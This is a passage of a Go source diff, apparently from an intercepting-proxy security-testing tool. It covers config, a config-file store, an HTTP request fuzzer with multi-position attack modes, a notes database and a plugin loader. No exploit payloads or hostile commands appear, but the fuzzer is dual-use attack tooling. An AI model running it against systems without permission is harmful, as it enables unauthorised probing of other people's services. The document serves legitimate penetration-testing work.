if err != nil {
return nil, fmt.Errorf("creating key pair: %w", err)
}
return &cert, nil
}
+39
View File
@@ -0,0 +1,39 @@
package config
import (
"os"
"path/filepath"
)
// Config holds application-wide configuration.
type Config struct {
BindAddr string
ProxyPort int
UIPort int
DataDir string
Dev bool
ViteURL string
Listener bool
CallbackDNSPort int
CallbackHTTPPort int
CallbackHTTPSPort int
CallbackDomain string
CallbackResponseIP string
TeamServer bool
DisableUpdateChecks bool
}
// Default returns a Config populated with sensible defaults.
func Default() Config {
homeDir, _ := os.UserHomeDir()
return Config{
BindAddr: "127.0.0.1",
ProxyPort: 8080,
UIPort: 9090,
DataDir: filepath.Join(homeDir, ".joro"),
ViteURL: "http://localhost:5173",
CallbackDNSPort: 53,
CallbackHTTPPort: 80,
CallbackHTTPSPort: 443,
}
}
+152
View File
@@ -0,0 +1,152 @@
package configstore
import (
"fmt"
"os"
"path/filepath"
"regexp"
"strings"
)
var validName = regexp.MustCompile(`^[a-zA-Z0-9_-]+$`)
// Store handles reading and writing named configuration files.
type Store struct {
dataDir string
}
// NewStore creates a Store rooted at the given data directory.
func NewStore(dataDir string) *Store {
return &Store{dataDir: dataDir}
}
// dir returns the directory for the given config type.
func (s *Store) dir(configType string) string {
return filepath.Join(s.dataDir, "configs", configType)
}
// ValidateName checks that a config name is safe for use as a filename.
func ValidateName(name string) error {
if name == "" {
return fmt.Errorf("config name must not be empty")
}
if !validName.MatchString(name) {
return fmt.Errorf("config name must contain only letters, digits, hyphens, and underscores")
}
return nil
}
// List returns the names of all saved configs of the given type.
func (s *Store) List(configType string) ([]string, error) {
dir := s.dir(configType)
entries, err := os.ReadDir(dir)
if err != nil {
if os.IsNotExist(err) {
return []string{}, nil
}
return nil, err
}
seen := make(map[string]struct{})
var names []string
for _, e := range entries {
if e.IsDir() {
continue
}
n := e.Name()
var cut string
var ok bool
if cut, ok = strings.CutSuffix(n, ".joro"); !ok {
cut, ok = strings.CutSuffix(n, ".json")
}
if ok {
if _, dup := seen[cut]; !dup {
seen[cut] = struct{}{}
names = append(names, cut)
}
}
}
if names == nil {
names = []string{}
}
return names, nil
}
// Save writes data as a named config file.
func (s *Store) Save(configType, name string, data []byte) error {
if err := ValidateName(name); err != nil {
return err
}
dir := s.dir(configType)
if err := os.MkdirAll(dir, 0o700); err != nil {
return err
}
return os.WriteFile(filepath.Join(dir, name+".json"), data, 0o600)
}
// Load reads a named config file and returns its contents.
func (s *Store) Load(configType, name string) ([]byte, error) {
if err := ValidateName(name); err != nil {
return nil, err
}
return os.ReadFile(filepath.Join(s.dir(configType), name+".json"))
}
// SaveGzip writes gzip-compressed data as a .joro config file and removes any stale .json file.
func (s *Store) SaveGzip(configType, name string, data []byte) error {
if err := ValidateName(name); err != nil {
return err
}
dir := s.dir(configType)
if err := os.MkdirAll(dir, 0o700); err != nil {
return err
}
if err := os.WriteFile(filepath.Join(dir, name+".joro"), data, 0o600); err != nil {
return err
}
// Remove stale .json if it exists.
_ = os.Remove(filepath.Join(dir, name+".json"))
return nil
}
// LoadAny tries to load a config by name, preferring .joro then falling back to .json.
func (s *Store) LoadAny(configType, name string) ([]byte, error) {
if err := ValidateName(name); err != nil {
return nil, err
}
dir := s.dir(configType)
data, err := os.ReadFile(filepath.Join(dir, name+".joro"))
if err == nil {
return data, nil
}
return os.ReadFile(filepath.Join(dir, name+".json"))
}
// DeleteAll removes both .joro and .json files for a named config.
// Returns an error only if neither file existed.
func (s *Store) DeleteAll(configType, name string) error {
if err := ValidateName(name); err != nil {
return err
}
dir := s.dir(configType)
errJoro := os.Remove(filepath.Join(dir, name+".joro"))
errJSON := os.Remove(filepath.Join(dir, name+".json"))
if errJoro != nil && os.IsNotExist(errJoro) && errJSON != nil && os.IsNotExist(errJSON) {
return fmt.Errorf("config %q not found", name)
}
return nil
}
// Delete removes a named config file.
func (s *Store) Delete(configType, name string) error {
if err := ValidateName(name); err != nil {
return err
}
path := filepath.Join(s.dir(configType), name+".json")
if err := os.Remove(path); err != nil {
if os.IsNotExist(err) {
return fmt.Errorf("config %q not found", name)
}
return err
}
return nil
}
+7
View File
@@ -0,0 +1,7 @@
package event
// WSEvent is a WebSocket event broadcast to all connected clients.
type WSEvent struct {
Type string `json:"type"`
Data any `json:"data"`
}
+649
View File
@@ -0,0 +1,649 @@
package fuzzer
import (
"bytes"
"context"
"crypto/rand"
"encoding/hex"
"fmt"
"io"
"regexp"
"sort"
"strconv"
"strings"
"sync"
"sync/atomic"
"time"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/internal/proxy"
)
// FilterType enumerates the criteria for matchers and filters.
type FilterType string
const (
FilterStatus FilterType = "status"
FilterSize FilterType = "size"
FilterWordCount FilterType = "words"
FilterLineCount FilterType = "lines"
FilterRegex FilterType = "regex"
)
// AttackMode determines how multiple positions and wordlists are combined.
type AttackMode string
const (
AttackSpray AttackMode = "spray" // Same payload in all positions
AttackSplit AttackMode = "split" // Parallel iteration (row by row)
AttackYolo AttackMode = "yolo" // Cartesian product of all combinations
)
var positionRegex = regexp.MustCompile(`FUZZ(\d+)`)
// DetectPositions scans raw request bytes and returns sorted unique position
// labels found (e.g., ["FUZZ1", "FUZZ2"]). If none found but "FUZZ" exists,
// returns ["FUZZ"] for single-position mode.
func DetectPositions(raw []byte) []string {
matches := positionRegex.FindAll(raw, -1)
seen := make(map[string]struct{})
for _, m := range matches {
seen[string(m)] = struct{}{}
}
if len(seen) > 0 {
positions := make([]string, 0, len(seen))
for p := range seen {
positions = append(positions, p)
}
sort.Slice(positions, func(i, j int) bool {
ni, _ := strconv.Atoi(positions[i][4:])
nj, _ := strconv.Atoi(positions[j][4:])
return ni < nj
})
return positions
}
if bytes.Contains(raw, []byte("FUZZ")) {
return []string{"FUZZ"}
}
return nil
}
// Matcher selects results to include in output (whitelist).
type Matcher struct {
Type FilterType `json:"type"`
Value string `json:"value"`
}
// Filter removes matching results from output (blacklist).
type Filter struct {
Type FilterType `json:"type"`
Value string `json:"value"`
}
// Config holds the parameters for a fuzzer campaign.
type Config struct {
RawRequest []byte
Scheme string
Host string
Wordlist []string // Single-position wordlist
Wordlists map[string][]string // Multi-position: position label → wordlist
Positions []string // Ordered position labels (e.g., ["FUZZ1", "FUZZ2"])
AttackMode AttackMode // spray, split, yolo
Threads int
RateLimit float64
FollowRedirects bool
UpdateContentLength bool
FuzzKeyword string
Matchers []Matcher
Filters []Filter
MatcherMode string // "or" (default) or "and"
FilterMode string // "or" (default) or "and"
MaxStoredBodies int // Max results to store full req/resp for (0 = unlimited)
}
// Result holds the outcome of a single fuzz request.
type Result struct {
Index int `json:"index"`
Payload string `json:"payload"`
Payloads map[string]string `json:"payloads,omitempty"` // Multi-position: position → payload
StatusCode int `json:"statusCode"`
Size int `json:"size"`
Words int `json:"words"`
Lines int `json:"lines"`
DurationMs int64 `json:"durationMs"`
URL string `json:"url"`
Error string `json:"error,omitempty"`
Matched bool `json:"matched"`
Filtered bool `json:"filtered"`
ReqRaw []byte `json:"-"` // Raw HTTP request bytes (excluded from WS/list JSON)
RespRaw []byte `json:"-"` // Raw HTTP response bytes (excluded from WS/list JSON)
}
// CampaignStatus represents the lifecycle state of a campaign.
type CampaignStatus string
const (
StatusRunning CampaignStatus = "running"
StatusStopped CampaignStatus = "stopped"
StatusComplete CampaignStatus = "complete"
)
// Campaign is a running or completed fuzzer campaign.
type Campaign struct {
ID string `json:"id"`
Status CampaignStatus `json:"status"`
CreatedAt time.Time `json:"createdAt"`
Config Config `json:"-"`
Total int `json:"total"`
Completed int64 `json:"completed"`
Errors int64 `json:"errors"`
mu sync.RWMutex
results []Result
cancel context.CancelFunc
storedBodies int64 // atomic: number of results with stored req/resp
maxStoredBodies int64 // max results to store bodies for
}
// Results returns a copy of the current results slice.
func (c *Campaign) Results() []Result {
c.mu.RLock()
defer c.mu.RUnlock()
out := make([]Result, len(c.results))
copy(out, c.results)
return out
}
// GetResult returns a result by its Index field, or false if not found.
func (c *Campaign) GetResult(index int) (Result, bool) {
c.mu.RLock()
defer c.mu.RUnlock()
for _, r := range c.results {
if r.Index == index {
return r, true
}
}
return Result{}, false
}
// ResultsPage returns a paginated slice of results.
func (c *Campaign) ResultsPage(offset, limit int) ([]Result, int) {
c.mu.RLock()
defer c.mu.RUnlock()
total := len(c.results)
if offset >= total {
return nil, total
}
end := offset + limit
if end > total {
end = total
}
page := make([]Result, end-offset)
copy(page, c.results[offset:end])
return page, total
}
// Cancel stops the campaign.
func (c *Campaign) Cancel() {
if c.cancel != nil {
c.cancel()
}
}
// GenerateID returns a random 32-char hex string.
func GenerateID() string {
b := make([]byte, 16)
rand.Read(b) //nolint:errcheck
return hex.EncodeToString(b)
}
// CalcTotal returns the number of requests a campaign will generate.
func CalcTotal(cfg Config) int {
if len(cfg.Positions) <= 1 {
return len(cfg.Wordlist)
}
switch cfg.AttackMode {
case AttackSpray:
if wl, ok := cfg.Wordlists[cfg.Positions[0]]; ok {
return len(wl)
}
return len(cfg.Wordlist)
case AttackSplit:
minLen := len(cfg.Wordlists[cfg.Positions[0]])
for _, pos := range cfg.Positions[1:] {
if l := len(cfg.Wordlists[pos]); l < minLen {
minLen = l
}
}
return minLen
case AttackYolo:
product := 1
for _, pos := range cfg.Positions {
product *= len(cfg.Wordlists[pos])
}
return product
}
return 0
}
// NewCampaign creates a campaign ready to run.
func NewCampaign(cfg Config, cancel context.CancelFunc) *Campaign {
total := CalcTotal(cfg)
maxBodies := int64(cfg.MaxStoredBodies)
if maxBodies <= 0 {
maxBodies = 1000 // default
}
return &Campaign{
ID: GenerateID(),
Status: StatusRunning,
CreatedAt: time.Now().UTC(),
Config: cfg,
Total: total,
results: make([]Result, 0, total),
cancel: cancel,
maxStoredBodies: maxBodies,
}
}
type workItem struct {
index int
payloads map[string]string // position label → payload value
}
// Run executes the fuzzer campaign. It blocks until all payloads are processed or ctx is cancelled.
func Run(ctx context.Context, campaign *Campaign, transport *proxy.TransportConfig, broadcast chan<- any) {
cfg := campaign.Config
h2Cache := proxy.NewH2TransportCache(transport)
defer h2Cache.Close()
// Rate limiter
var limiter <-chan time.Time
if cfg.RateLimit > 0 {
ticker := time.NewTicker(time.Duration(float64(time.Second) / cfg.RateLimit))
defer ticker.Stop()
limiter = ticker.C
}
work := make(chan workItem, cfg.Threads)
// Pre-compile regexes for matchers/filters
matcherRegexes := compileRegexes(cfg.Matchers)
filterRegexes := compileFilterRegexes(cfg.Filters)
var wg sync.WaitGroup
for i := 0; i < cfg.Threads; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for item := range work {
if limiter != nil {
select {
case <-ctx.Done():
return
case <-limiter:
}
}
storeBody := atomic.LoadInt64(&campaign.storedBodies) < campaign.maxStoredBodies
result := executePayload(ctx, transport, h2Cache, cfg, item.index, item.payloads, storeBody)
if storeBody && result.ReqRaw != nil {
atomic.AddInt64(&campaign.storedBodies, 1)
}
result.Matched = applyMatchers(result, cfg.Matchers, cfg.MatcherMode, matcherRegexes)
result.Filtered = applyFilters(result, cfg.Filters, cfg.FilterMode, filterRegexes)
campaign.mu.Lock()
campaign.results = append(campaign.results, result)
campaign.mu.Unlock()
atomic.AddInt64(&campaign.Completed, 1)
if result.Error != "" {
atomic.AddInt64(&campaign.Errors, 1)
}
broadcast <- event.WSEvent{
Type: "fuzzer.result",
Data: map[string]any{
"campaignId": campaign.ID,
"result": result,
},
}
}
}()
}
// Producer: generates work items based on attack mode
go func() {
defer close(work)
produceWorkItems(ctx, cfg, work)
}()
wg.Wait()
campaign.mu.Lock()
if ctx.Err() != nil {
campaign.Status = StatusStopped
} else {
campaign.Status = StatusComplete
}
campaign.mu.Unlock()
broadcast <- event.WSEvent{
Type: "fuzzer.complete",
Data: map[string]any{
"campaignId": campaign.ID,
"status": string(campaign.Status),
"completed": atomic.LoadInt64(&campaign.Completed),
"errors": atomic.LoadInt64(&campaign.Errors),
},
}
}
// produceWorkItems generates work items based on the attack mode and sends them to the work channel.
func produceWorkItems(ctx context.Context, cfg Config, work chan<- workItem) {
// Single-position mode
if len(cfg.Positions) <= 1 {
keyword := cfg.FuzzKeyword
if keyword == "" {
keyword = "FUZZ"
}
for i, payload := range cfg.Wordlist {
select {
case <-ctx.Done():
return
case work <- workItem{index: i, payloads: map[string]string{keyword: payload}}:
}
}
return
}
// Multi-position modes
switch cfg.AttackMode {
case AttackSpray:
// Same payload in all positions simultaneously
wl := cfg.Wordlists[cfg.Positions[0]]
for i, payload := range wl {
payloads := make(map[string]string, len(cfg.Positions))
for _, pos := range cfg.Positions {
payloads[pos] = payload
}
select {
case <-ctx.Done():
return
case work <- workItem{index: i, payloads: payloads}:
}
}
case AttackSplit:
// Parallel iteration: row by row across all wordlists
total := CalcTotal(cfg)
for i := 0; i < total; i++ {
payloads := make(map[string]string, len(cfg.Positions))
for _, pos := range cfg.Positions {
payloads[pos] = cfg.Wordlists[pos][i]
}
select {
case <-ctx.Done():
return
case work <- workItem{index: i, payloads: payloads}:
}
}
case AttackYolo:
// Cartesian product: odometer-style index array
indices := make([]int, len(cfg.Positions))
itemIndex := 0
for {
payloads := make(map[string]string, len(cfg.Positions))
for j, pos := range cfg.Positions {
payloads[pos] = cfg.Wordlists[pos][indices[j]]
}
select {
case <-ctx.Done():
return
case work <- workItem{index: itemIndex, payloads: payloads}:
}
itemIndex++
// Increment rightmost position first (odometer style)
carry := true
for j := len(indices) - 1; j >= 0 && carry; j-- {
indices[j]++
if indices[j] < len(cfg.Wordlists[cfg.Positions[j]]) {
carry = false
} else {
indices[j] = 0
}
}
if carry {
break // all combinations exhausted
}
}
}
}
func executePayload(ctx context.Context, tc *proxy.TransportConfig, h2Cache *proxy.H2TransportCache, cfg Config, index int, payloads map[string]string, storeBody bool) Result {
// Build display payload string
result := Result{
Index: index,
}
if len(payloads) == 1 {
for _, v := range payloads {
result.Payload = v
}
} else {
// Multi-position: pipe-delimited in position order, include Payloads map
parts := make([]string, 0, len(cfg.Positions))
for _, pos := range cfg.Positions {
parts = append(parts, payloads[pos])
}
result.Payload = strings.Join(parts, " | ")
result.Payloads = payloads
}
// Apply replacements: sort positions by label length descending to avoid
// FUZZ1 matching inside FUZZ10.
sortedPositions := make([]string, 0, len(payloads))
for pos := range payloads {
sortedPositions = append(sortedPositions, pos)
}
sort.Slice(sortedPositions, func(i, j int) bool {
return len(sortedPositions[i]) > len(sortedPositions[j])
})
mutated := make([]byte, len(cfg.RawRequest))
copy(mutated, cfg.RawRequest)
for _, pos := range sortedPositions {
mutated = bytes.ReplaceAll(mutated, []byte(pos), []byte(payloads[pos]))
}
if cfg.UpdateContentLength {
mutated = proxy.UpdateContentLength(mutated)
}
scheme := cfg.Scheme
if scheme == "" {
scheme = "https"
}
host := cfg.Host
result.URL = buildResultURL(scheme, host, mutated)
sendCtx, cancel := context.WithTimeout(ctx, 30*time.Second)
defer cancel()
opts := proxy.SendOptions{
FollowRedirects: cfg.FollowRedirects,
Decompress: true,
H2Transport: h2Cache.Get(host),
}
start := time.Now()
res, err := proxy.SendRawRequest(sendCtx, mutated, scheme, host, opts, tc)
if err != nil {
result.Error = fmt.Sprintf("request failed: %v", err)
result.DurationMs = time.Since(start).Milliseconds()
if storeBody {
result.ReqRaw = mutated
}
return result
}
defer res.Response.Body.Close()
result.DurationMs = res.Duration.Milliseconds()
result.StatusCode = res.Response.StatusCode
body, err := io.ReadAll(io.LimitReader(res.Response.Body, 10<<20))
if err != nil {
result.Error = fmt.Sprintf("read body: %v", err)
return result
}
result.Size = len(body)
result.Words = countWords(body)
result.Lines = countLines(body)
if storeBody {
result.ReqRaw = mutated
result.RespRaw = res.RawResp
}
return result
}
// buildResultURL composes a display URL from the scheme, host, and the path in
// the raw request line. If host is empty, it extracts the Host header from raw.
func buildResultURL(scheme, host string, raw []byte) string {
end := bytes.IndexAny(raw, "\r\n")
if end < 0 {
end = len(raw)
}
parts := bytes.Fields(raw[:end])
path := "/"
if len(parts) >= 2 {
path = string(parts[1])
}
if host == "" {
host = hostHeaderFromRaw(raw)
}
return scheme + "://" + host + path
}
func hostHeaderFromRaw(raw []byte) string {
headerEnd := bytes.Index(raw, []byte("\r\n\r\n"))
if headerEnd < 0 {
headerEnd = bytes.Index(raw, []byte("\n\n"))
if headerEnd < 0 {
return ""
}
}
headers := bytes.ReplaceAll(raw[:headerEnd], []byte("\r\n"), []byte("\n"))
for _, line := range bytes.Split(headers, []byte("\n")) {
if i := bytes.IndexByte(line, ':'); i > 0 {
if strings.EqualFold(string(line[:i]), "Host") {
return strings.TrimSpace(string(line[i+1:]))
}
}
}
return ""
}
func countWords(b []byte) int {
return len(bytes.Fields(b))
}
func countLines(b []byte) int {
if len(b) == 0 {
return 0
}
return bytes.Count(b, []byte("\n")) + 1
}
// compileRegexes pre-compiles regex matchers.
func compileRegexes(matchers []Matcher) map[int]*regexp.Regexp {
regexes := make(map[int]*regexp.Regexp)
for i, m := range matchers {
if m.Type == FilterRegex {
if re, err := regexp.Compile(m.Value); err == nil {
regexes[i] = re
}
}
}
return regexes
}
func compileFilterRegexes(filters []Filter) map[int]*regexp.Regexp {
regexes := make(map[int]*regexp.Regexp)
for i, f := range filters {
if f.Type == FilterRegex {
if re, err := regexp.Compile(f.Value); err == nil {
regexes[i] = re
}
}
}
return regexes
}
func applyMatchers(r Result, matchers []Matcher, mode string, regexes map[int]*regexp.Regexp) bool {
if len(matchers) == 0 {
return true // no matchers = match all
}
if mode == "" {
mode = "or"
}
for i, m := range matchers {
hit := matchesRule(r, m.Type, m.Value, regexes[i])
if mode == "or" && hit {
return true
}
if mode == "and" && !hit {
return false
}
}
return mode == "and" // "and": all matched; "or": none matched
}
func applyFilters(r Result, filters []Filter, mode string, regexes map[int]*regexp.Regexp) bool {
if len(filters) == 0 {
return false // no filters = nothing filtered out
}
if mode == "" {
mode = "or"
}
for i, f := range filters {
hit := matchesRule(r, f.Type, f.Value, regexes[i])
if mode == "or" && hit {
return true
}
if mode == "and" && !hit {
return false
}
}
return mode == "and"
}
func matchesRule(r Result, ruleType FilterType, value string, compiled *regexp.Regexp) bool {
switch ruleType {
case FilterStatus:
return matchesCSVInt(value, r.StatusCode)
case FilterSize:
return matchesCSVInt(value, r.Size)
case FilterWordCount:
return matchesCSVInt(value, r.Words)
case FilterLineCount:
return matchesCSVInt(value, r.Lines)
case FilterRegex:
// Regex is matched against the URL for now (body not stored in result).
// This is a simplification; a full impl would match against the response body.
return compiled != nil && compiled.MatchString(r.URL)
}
return false
}
func matchesCSVInt(csv string, val int) bool {
for _, s := range strings.Split(csv, ",") {
if v, err := strconv.Atoi(strings.TrimSpace(s)); err == nil && v == val {
return true
}
}
return false
}
+67
View File
@@ -0,0 +1,67 @@
package fuzzer
import "sync"
// Store holds fuzzer campaigns in memory.
type Store struct {
mu sync.RWMutex
campaigns []*Campaign
maxItems int
}
// NewStore creates a new in-memory campaign store.
func NewStore() *Store {
return &Store{maxItems: 50}
}
// Add registers a new campaign.
func (s *Store) Add(c *Campaign) {
s.mu.Lock()
defer s.mu.Unlock()
if len(s.campaigns) >= s.maxItems {
// Evict the oldest completed/stopped campaign.
for i, old := range s.campaigns {
if old.Status != StatusRunning {
s.campaigns = append(s.campaigns[:i], s.campaigns[i+1:]...)
break
}
}
}
s.campaigns = append(s.campaigns, c)
}
// Get returns a campaign by ID, or nil.
func (s *Store) Get(id string) *Campaign {
s.mu.RLock()
defer s.mu.RUnlock()
for _, c := range s.campaigns {
if c.ID == id {
return c
}
}
return nil
}
// List returns all campaigns (newest first).
func (s *Store) List() []*Campaign {
s.mu.RLock()
defer s.mu.RUnlock()
out := make([]*Campaign, len(s.campaigns))
for i, c := range s.campaigns {
out[len(s.campaigns)-1-i] = c
}
return out
}
// Delete removes a campaign by ID. Returns true if found and removed.
func (s *Store) Delete(id string) bool {
s.mu.Lock()
defer s.mu.Unlock()
for i, c := range s.campaigns {
if c.ID == id {
s.campaigns = append(s.campaigns[:i], s.campaigns[i+1:]...)
return true
}
}
return false
}
+40
View File
@@ -0,0 +1,40 @@
package notes
import (
"database/sql"
_ "modernc.org/sqlite"
)
const schema = `
CREATE TABLE IF NOT EXISTS notes (
id TEXT PRIMARY KEY,
host TEXT NOT NULL,
content TEXT NOT NULL,
author TEXT NOT NULL DEFAULT 'operator',
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
);
CREATE INDEX IF NOT EXISTS idx_notes_host ON notes(host);
CREATE INDEX IF NOT EXISTS idx_notes_created ON notes(created_at DESC);
`
// OpenDB opens (or creates) the SQLite database at path and runs migrations.
func OpenDB(path string) (*sql.DB, error) {
db, err := sql.Open("sqlite", path+"?_pragma=foreign_keys(1)&_pragma=journal_mode(wal)")
if err != nil {
return nil, err
}
if _, err := db.Exec(schema); err != nil {
db.Close()
return nil, err
}
// Notes are ephemeral per-session; clear any leftovers from a previous run.
// Persistent notes are saved in project config JSON files and restored on load.
if _, err := db.Exec("DELETE FROM notes"); err != nil {
db.Close()
return nil, err
}
return db, nil
}
+125
View File
@@ -0,0 +1,125 @@
package notes
import (
"database/sql"
"time"
)
// Note represents a per-host operator note.
type Note struct {
ID string `json:"id"`
Host string `json:"host"`
Content string `json:"content"`
Author string `json:"author"`
CreatedAt time.Time `json:"createdAt"`
UpdatedAt time.Time `json:"updatedAt"`
}
// Store provides CRUD operations for notes.
type Store struct {
db *sql.DB
}
// NewStore creates a new Store.
func NewStore(db *sql.DB) *Store {
return &Store{db: db}
}
// CreateNote inserts a new note.
func (s *Store) CreateNote(id, host, content, author string) (*Note, error) {
now := time.Now().UTC()
_, err := s.db.Exec(
"INSERT INTO notes (id, host, content, author, created_at, updated_at) VALUES (?, ?, ?, ?, ?, ?)",
id, host, content, author, now, now,
)
if err != nil {
return nil, err
}
return &Note{ID: id, Host: host, Content: content, Author: author, CreatedAt: now, UpdatedAt: now}, nil
}
// ListNotes returns notes for a host, paginated.
func (s *Store) ListNotes(host string, offset, limit int) ([]Note, int, error) {
var total int
if err := s.db.QueryRow("SELECT COUNT(*) FROM notes WHERE host = ?", host).Scan(&total); err != nil {
return nil, 0, err
}
rows, err := s.db.Query(
"SELECT id, host, content, author, created_at, updated_at FROM notes WHERE host = ? ORDER BY created_at DESC LIMIT ? OFFSET ?",
host, limit, offset,
)
if err != nil {
return nil, 0, err
}
defer rows.Close()
var items []Note
for rows.Next() {
var n Note
if err := rows.Scan(&n.ID, &n.Host, &n.Content, &n.Author, &n.CreatedAt, &n.UpdatedAt); err != nil {
return nil, 0, err
}
items = append(items, n)
}
return items, total, rows.Err()
}
// DeleteNote deletes a note by ID.
func (s *Store) DeleteNote(id string) error {
res, err := s.db.Exec("DELETE FROM notes WHERE id = ?", id)
if err != nil {
return err
}
n, _ := res.RowsAffected()
if n == 0 {
return sql.ErrNoRows
}
return nil
}
// ClearAll deletes all notes from the store.
func (s *Store) ClearAll() error {
_, err := s.db.Exec("DELETE FROM notes")
return err
}
// LoadAll returns every note in the store (used for serialising into project configs).
func (s *Store) LoadAll() ([]Note, error) {
rows, err := s.db.Query(
"SELECT id, host, content, author, created_at, updated_at FROM notes ORDER BY host, created_at",
)
if err != nil {
return nil, err
}
defer rows.Close()
var items []Note
for rows.Next() {
var n Note
if err := rows.Scan(&n.ID, &n.Host, &n.Content, &n.Author, &n.CreatedAt, &n.UpdatedAt); err != nil {
return nil, err
}
items = append(items, n)
}
return items, rows.Err()
}
// ListHosts returns all distinct hosts that have notes.
func (s *Store) ListHosts() ([]string, error) {
rows, err := s.db.Query("SELECT DISTINCT host FROM notes ORDER BY host")
if err != nil {
return nil, err
}
defer rows.Close()
var hosts []string
for rows.Next() {
var h string
if err := rows.Scan(&h); err != nil {
return nil, err
}
hosts = append(hosts, h)
}
return hosts, rows.Err()
}
+143
View File
@@ -0,0 +1,143 @@
package plugins
import (
"crypto/sha256"
"encoding/hex"
"fmt"
"io"
"os"
"path/filepath"
"plugin"
"regexp"
"strings"
"github.com/BishopFox/joro/sdk"
)
var nameRe = regexp.MustCompile(`^[a-z0-9][a-z0-9_-]*$`)
// reservedNames may not be used as plugin names because they conflict
// with built-in URL path segments.
var reservedNames = map[string]bool{
"api": true, "ws": true, "ext": true, "system": true,
}
// loadedPlugin holds one successfully loaded plugin.
type loadedPlugin struct {
ext sdk.Plugin
hash string // SHA-256 hex of the .so file
filename string // original filename, e.g. "my-plugin.so"
}
// loadPlugins scans dir for .so/.dylib files, opens each via Go's plugin
// package, and looks up the exported "Extension" symbol.
func loadPlugins(dir string) ([]loadedPlugin, []error) {
entries, err := os.ReadDir(dir)
if err != nil {
if os.IsNotExist(err) {
return nil, nil
}
return nil, []error{fmt.Errorf("read plugin dir: %w", err)}
}
var loaded []loadedPlugin
var errs []error
seen := map[string]bool{}
for _, entry := range entries {
if entry.IsDir() {
continue
}
name := entry.Name()
if !isPluginFile(name) {
continue
}
path := filepath.Join(dir, name)
lp, err := loadOne(path)
if err != nil {
errs = append(errs, fmt.Errorf("plugin %s: %w", name, err))
continue
}
lp.filename = name
manifest := lp.ext.Manifest()
if err := validateManifest(manifest); err != nil {
errs = append(errs, fmt.Errorf("plugin %s: %w", name, err))
continue
}
if seen[manifest.Name] {
errs = append(errs, fmt.Errorf("plugin %s: duplicate name %q", name, manifest.Name))
continue
}
seen[manifest.Name] = true
loaded = append(loaded, lp)
}
return loaded, errs
}
func loadOne(path string) (loadedPlugin, error) {
hash, err := fileHash(path)
if err != nil {
return loadedPlugin{}, fmt.Errorf("hash: %w", err)
}
p, err := plugin.Open(path)
if err != nil {
// "plugin: not implemented" surfaces when the host binary was built
// with CGO_ENABLED=0 — Go's plugin runtime is dlopen-based and gets
// compiled out. Re-skin the error with actionable guidance.
if strings.Contains(err.Error(), "plugin: not implemented") {
return loadedPlugin{}, fmt.Errorf("Go plugin support is disabled in this joro binary (built without CGO). Install a release v1.0.1 or later, or build from source with `make build`")
}
return loadedPlugin{}, fmt.Errorf("open: %w", err)
}
sym, err := p.Lookup("Plugin")
if err != nil {
return loadedPlugin{}, fmt.Errorf("lookup Plugin symbol: %w", err)
}
// The symbol must be a pointer to an sdk.Plugin value.
plugPtr, ok := sym.(*sdk.Plugin)
if !ok {
return loadedPlugin{}, fmt.Errorf("Plugin symbol is %T, want *sdk.Plugin", sym)
}
return loadedPlugin{ext: *plugPtr, hash: hash}, nil
}
func isPluginFile(name string) bool {
return strings.HasSuffix(name, ".so") || strings.HasSuffix(name, ".dylib")
}
func validateManifest(m sdk.Manifest) error {
if !nameRe.MatchString(m.Name) {
return fmt.Errorf("invalid name %q: must match %s", m.Name, nameRe.String())
}
if reservedNames[m.Name] {
return fmt.Errorf("reserved name %q", m.Name)
}
switch m.Type {
case sdk.TypeExecProvider, sdk.TypeTab, sdk.TypeFeature, sdk.TypeProxyHook, sdk.TypeDashboard, sdk.TypeInteractProvider:
// valid
default:
return fmt.Errorf("unknown plugin type %q", m.Type)
}
return nil
}
func fileHash(path string) (string, error) {
f, err := os.Open(path)
if err != nil {
return "", err
}
defer f.Close()
h := sha256.New()
if _, err := io.Copy(h, f); err != nil {
return "", err
}
return hex.EncodeToString(h.Sum(nil)), nil
}
+566
View File
@@ -0,0 +1,566 @@
package plugins
import (
"context"
"fmt"
"log"
"os"
"path/filepath"
"sync"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/sdk"
)
// PluginInfo is the API-facing summary of a loaded plugin.
type PluginInfo struct {
Name string `json:"name"`
Version string `json:"version"`
Desc string `json:"description"`
Type sdk.PluginType `json:"type"`
Status string `json:"status"` // "loaded", "error"
Error string `json:"error,omitempty"`
Hash string `json:"hash"` // SHA-256 of .so file
Filename string `json:"filename"` // original .so/.dylib filename
HasGraph bool `json:"hasGraph,omitempty"` // exec provider implements GraphProvider
TabLabel string `json:"tabLabel,omitempty"` // for tab/feature/dashboard types
}
// Manager loads, categorizes, and manages the lifecycle of plugins.
type Manager struct {
mu sync.RWMutex
pluginDir string
execProviders map[string]sdk.ExecProvider
tabProviders map[string]sdk.TabProvider
features map[string]sdk.TabProvider
interactProviders map[string]sdk.InteractProvider
proxyHooks []sdk.ProxyHook
dashboard sdk.DashboardProvider
allPlugins []PluginInfo
broadcast chan<- any
}
// NewManager creates a plugin manager that loads plugins from pluginDir.
func NewManager(pluginDir string, broadcast chan<- any) *Manager {
return &Manager{
pluginDir: pluginDir,
execProviders: make(map[string]sdk.ExecProvider),
tabProviders: make(map[string]sdk.TabProvider),
features: make(map[string]sdk.TabProvider),
interactProviders: make(map[string]sdk.InteractProvider),
broadcast: broadcast,
}
}
// Start loads all plugins from the plugin directory, categorizes them by type,
// and calls Init() on each. Errors during loading or init are logged but do not
// prevent other plugins from loading.
func (m *Manager) Start(ctx context.Context) error {
// Ensure plugin directory exists.
if err := os.MkdirAll(m.pluginDir, 0o700); err != nil {
return fmt.Errorf("create plugin dir: %w", err)
}
plugins, errs := loadPlugins(m.pluginDir)
for _, err := range errs {
log.Printf("[plugins] %v", err)
}
for _, lp := range plugins {
manifest := lp.ext.Manifest()
info := PluginInfo{
Name: manifest.Name,
Version: manifest.Version,
Desc: manifest.Description,
Type: manifest.Type,
Status: "loaded",
Hash: lp.hash,
Filename: lp.filename,
}
// Create scoped data directory for this plugin.
dataDir := filepath.Join(filepath.Dir(m.pluginDir), "plugin-data", manifest.Name)
if err := os.MkdirAll(dataDir, 0o700); err != nil {
info.Status = "error"
info.Error = fmt.Sprintf("create data dir: %v", err)
m.allPlugins = append(m.allPlugins, info)
log.Printf("[plugins] %s: %s", manifest.Name, info.Error)
continue
}
// Init with panic recovery.
extCtx := sdk.PluginContext{
DataDir: dataDir,
